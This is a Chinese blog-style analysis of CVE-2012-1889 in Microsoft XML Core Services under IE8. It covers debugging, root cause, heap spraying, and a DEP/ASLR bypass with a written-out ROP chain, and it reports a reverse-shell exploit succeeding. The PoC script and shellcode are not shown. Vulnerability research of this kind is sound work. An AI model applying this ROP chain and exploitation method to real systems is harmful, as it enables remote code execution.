暴雷漏洞详细分析

1 前言 1.1 cve-2012-1889 cve-2012-1889即是“暴雷”的编号,影响范围广,危害级别高。Microsoft XML CoreServices 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。
1.2 环境和工具 系统环境:win7 32 + IE 8
工具:WinDbg、OllyDbg、X32Dbg、010Editor
2 poc 复现现场 2.1 调试器收集poc崩溃现场信息 暴雷漏洞详细分析
文章图片

分析: 可以看到,eax是0x0c0c0c0c,而eax来自于[ebp+28],也就是栈已经被污染了,已经栈被poc中的0c0c0c0c覆盖了。
2.2 windbg分析现场 使用windbg 获取现场
暴雷漏洞详细分析
文章图片

查看堆栈
暴雷漏洞详细分析
文章图片

追溯 eax 的来源:
[ebp-14h]
暴雷漏洞详细分析
文章图片

分析: 看到eax源于栈的局部变量[ebp-0x14],这里可以看到所在的模块是msxml3.dll
2.3 使用IDA静态分析所在模块 1. 首先加载符号文件,便于分析
暴雷漏洞详细分析
文章图片

  1. 来到异常所在API分析
    这里_dispatchImpl::InvokeHelper() 调用了一个子函数 sub_7284E15F(),异常的现场在sub_7284E15F()里面
    暴雷漏洞详细分析
    文章图片

    追溯 ebp-0x14
    暴雷漏洞详细分析
    文章图片

    可以看到 这里ebp-0x1c作为参数传入、__imp__ VariantInit() 初始化。
    猜想 是这里影响了ebp -0x14。


3 漏洞分析 3.1 动态分析漏洞成因 根据前面分析 可能是VariantInit()那里除了问题,但是查看资料后发现
暴雷漏洞详细分析
文章图片

即 使用VariantInit初始化类型为VARIANTARG(或VARIANT)的新局部变量.
而 VARIANT是 16个字节,也就是ebp-0x1c~ebp-0xc ,所以的确可能初始化了。但是并没有传递数据源啊啊,怎么初始化?在这种挣扎之下于是动手下断点动态调试看看。
这里使用x32dbg 调试
> bp 6548e170 // call ds:__imp__VariantInit@4 ; VariantInit(x)
暴雷漏洞详细分析
文章图片

分析: 可以看到在调用 VariantInit() 之前 栈空间就已经被覆盖填充了,所以可以得出这些栈上的数据应该是之前其他函数用完释放的,故这个漏洞是个类似Use-after-free(UAF)漏洞。
再来观察poc, 这些栈数据 都是正常申请的。
暴雷漏洞详细分析
文章图片

既然这些都很正常,那问题来了,矛头都指向了 “ 为什么会复用栈空间?”。

3.2 漏洞成因分析:栈空间复用原因 看到poc 脚本最后
暴雷漏洞详细分析
文章图片

查看MSDN
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms764733(v=vs.85)?redirectedfrom=MSDN
发现 这是一个属性,而不是一个方法。所以应该是这里发生了错误。
仔细查看invokeHelper() 可以发现
暴雷漏洞详细分析
文章图片

跳转到:
暴雷漏洞详细分析
文章图片

跳转到:
暴雷漏洞详细分析
文章图片

[edi+8] 的值决定着此函数的走向。当 [edi+8] > 0 的时候 这个跳转就会导向触发漏洞。
3.3 动态分析definition作为方法和作为属性的区别 前面知道 [edi+8] 的值决定着程序是否正常,那就在此下断点,动态调试分析作为方法和属性的区别。
  1. 当作为方法调用的时候
暴雷漏洞详细分析
文章图片

分析:
当作为方法的时候 [edi + 8] =1.即会跳转到异常分支触发漏洞。

  1. 当作为属性的时候
暴雷漏洞详细分析
文章图片

分析:
作为属性的时候此值为0.
3.4 分析关键分支条件 [edi + 8] 的意义 暴雷漏洞详细分析
文章图片

分析:
edi = [ebp +arg_14] , 而 [ebp +arg_14] 是一个 struct tagDISPPARAMS*,通过而tagDISPPARAMS 的结构体如下:
暴雷漏洞详细分析
文章图片

所以 [edi +8]= cArgs ,即参数的个数。当有参数的时候 这个漏洞就会触发。

4 漏洞利用 只要 把最难的win7 IE8 的DEP 和ALSR 给过掉,那么 IE6 和 win xp IE8 就很easy了。这里由于篇幅限制,就不一个一个实战了,直接来最硬的。
4.1 图解堆喷(原创) (若发现网上雷同图,系我的博客)
暴雷漏洞详细分析
文章图片

4.2 图解DEP/ALSR 下的堆喷/精准堆喷(原创) (若发现网上雷同图,系我的博客)
暴雷漏洞详细分析
文章图片

解释: xxx.dll 是我们构造rop (ret2libc)链借助的模块
4.3 分析当前漏洞现场 暴雷漏洞详细分析
文章图片

归纳精简上述过程:
暴雷漏洞详细分析
文章图片

分析:
默认情况下,我们选择0x0c0c0c0c或者0x0d0d0d0d等作为堆喷地点 (即栈溢出覆盖成0x0c0c0c0c或0x0d0d0d0d)。 但是DEP的情况下,我们需要用Xchg eax,esp; ret地址将当前堆空间的 指令序列给esp才能结合[xx...; ]ret; 执行我们的rop链,在rop链改变 当前所在堆内存保护属性后,即绕过了DEP这时就能直接将EIP给我们的 堆空间里面代码了。
暴雷漏洞详细分析
文章图片

即 我们只需要这几句就能利用:
暴雷漏洞详细分析
文章图片

4.4 构建 Rop (原创)
看到网上有些精华帖,直接断言 使用0x0c0c0c0c填充栈会失败,得用0x0c0c0c08然后配合后面一个call 之间的关系,才能完成Rop Bypass;但是我的头铁,实践探索了一下,其实就使用0x0c0c0c0c 就能成功Rop Bypass.
其实我们需要构建两个rop链:
  • 将执行流切换到栈上
  • 修改栈的保护属性
1.构建执行流切换Rop(这里使用得模块是VsaVb7rt.dll,这个模块是系统模块,且没有ReBase,没有ALSR):
暴雷漏洞详细分析
文章图片

  1. 使用mona 构建栈保护属性修改Rop:
    0x5e329d12,// POP EBP // RETN [VsaVb7rt.dll]
    0x5e329d12,// skip 4 bytes [VsaVb7rt.dll]
    0x5e28f7a4,// POP EBX // RETN [VsaVb7rt.dll]
    0x00000201,// 0x00000201-> ebx
    0x5e292c9d,// POP EBX // RETN [VsaVb7rt.dll]
    0x00000040,// 0x00000040-> edx
    0x5e34b61c,// XOR EDX,EDX // RETN [VsaVb7rt.dll]
    0x5e34b5ee,// ADD EDX,EBX // POP EBX // RETN 0x10 [VsaVb7rt.dll]
    0x41414141,// Filler (compensate)
    0x5e26098b,// POP ECX // RETN [VsaVb7rt.dll]
    0x41414141,// Filler (RETN offset compensation)
    0x41414141,// Filler (RETN offset compensation)
    0x41414141,// Filler (RETN offset compensation)
    0x41414141,// Filler (RETN offset compensation)
    0x5e357284,// &Writable location [VsaVb7rt.dll] -------- 这里是用来保存的OldProtect
    0x5e25e6cc,// POP EDI // RETN [VsaVb7rt.dll]
    0x5e267102,// RETN (ROP NOP) [VsaVb7rt.dll]
    0x5e25b1f6,// POP ESI // RETN [VsaVb7rt.dll]
    0x5e23aa93,// JMP [EAX] [VsaVb7rt.dll]
    0x5e290c74,// POP EAX // RETN [VsaVb7rt.dll]
    0x74614224,// ptr to &VirtualProtect() (skipped module criteria, check if pointer is reliable !) [IAT MSVCR80.dll]
    0x5e351384,// PUSHAD // RETN [VsaVb7rt.dll]
    0x5e287050,// ptr to 'jmp esp' [VsaVb7rt.dll]


4.5 实现精准堆喷 > !heap -p -a 0c0c0c0c // 查看0c0c0c0c所在堆的信息,以计算到此堆块初始未知的偏移
暴雷漏洞详细分析
文章图片

计算偏移:
((Userptr - 0c0c0c0c )%0x1000 - 4 )/2 == 0x5f4;
所以在把rop放在0x5f4的偏移位置,然后把shellcode 放在rop之后就能实现精准堆喷了。


4.6 构建poc 实现反弹shell shellcode 和极光的一样,就不再赘述了。
直接构建poc如下:


5 查看exp结果 暴雷漏洞详细分析
文章图片

在另外一个虚拟机成功连接上目标虚拟机,exp成功。












【暴雷漏洞详细分析】

    推荐阅读